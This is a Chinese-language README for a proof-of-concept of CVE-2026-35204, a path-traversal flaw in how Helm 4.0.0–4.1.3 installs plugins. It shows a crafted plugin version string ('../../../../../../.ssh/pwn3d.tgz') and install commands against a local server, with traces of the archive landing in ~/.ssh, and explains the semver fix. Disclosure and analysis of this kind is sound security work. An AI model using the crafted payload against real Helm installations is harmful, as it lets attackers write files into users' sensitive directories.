本仓库是针对 CVE-2026-35204 的 PoC。
“Helm 是 Kubernetes 的 Chart 包管理器。从 4.0.0 到 4.1.3,一个特制的 Helm 插件在被安装或更新时,会导致 Helm 将插件内容写入任意文件系统位置。为防止此问题,请验证 Helm 插件的 plugin.yaml 中不包含带有 POSIX 点-点路径分隔符(即 "/../")的 version: 字段。此漏洞已在 4.1.4 中修复。”
此 PoC 演示了 metadata.Version 被用于构造插件归档的路径,从而允许路径遍历并将下载的 plugin.tgz 写入预期插件目录之外。插件内容在安装前仍会被解压到指定的缓存目录中,因此此 PoC 并未演示任意解压或任意覆盖主机文件。
该漏洞被归类为 CWE-22 - 对路径名的限制不当导致受限目录访问(“路径遍历”)。
Helm 插件安装器有一个接口,包含四种实现(HTTP、本地、VCS 和 OCI)。此 PoC 聚焦于 HTTP 安装器。与 HTTP/OCI 安装器不同,VCS 安装器完全不从 metadata.Version 构造 tarball 路径。以下代码块展示了 tarballPath 的构造过程:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
其中 metadata.Version 是我们在 plugin.yaml 中可控的变量。要触发该漏洞,你需要将特制插件打包为 .tgz 归档,因为其 metadata.Version 会被 plugin.ExtractTgzPluginMetadata 提取,并通过 HTTP/OCI/本地安装器下载。因此,要实现路径遍历,我们可以使用 http_installer,它从 Web 服务器获取插件归档。
在下面的示例中,helm 二进制文件被手动重新构建以启用日志消息,你可以观察到两种不同的数据流。第一种 是使用正确版本名称的插件安装。第二种 是版本名称中包含点-点路径分隔符的插件安装:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
运行时跟踪表明,路径遍历仅影响下载的插件归档的存放位置,这基本上就是 HELM_PLUGINS 环境变量。缓存(i.CacheDir)和最终解压位置(i.Path())保持不变。基于此,我们可以操纵临时归档的目标位置及其名称,从而实现文件写入。
你无需运行任何内容或使用安装后 webhook,简单的插件安装就足以触发该漏洞。
在分析 HTTP 安装器期间,我观察到归档解压发生在 i.CacheDir 中,而安装(fs.CopyDir)将文件从 i.CacheDir 复制到 i.Path()。我没有发现受遍历影响的 tarballPath 会影响归档内容的代码路径。因此,基于所分析的运行时跟踪,归档解压目标与受遍历控制的 tarballPath 无关。
该公告提到了安装和更新。对于 HTTP/本地/VCS 安装器,Update() 未实现;OCI 安装器通过在移除先前插件后调用 Install() 来实现更新。
以下是 HTTP 安装器中的 Update() 方法:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
为缓解该漏洞,添加了 isValidSemver 函数,现在在 metadata.go 中调用 Validate() 时会调用该函数。
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
如你所见,如果版本不是有效的 semver(而 ../../../../ 不是),那么在安装恶意 helm 插件的过程中我们会收到错误。
要运行 PoC,你可以使用 scripts/pos.sh 脚本:
./scripts/poc.sh
结果将类似于:

MIT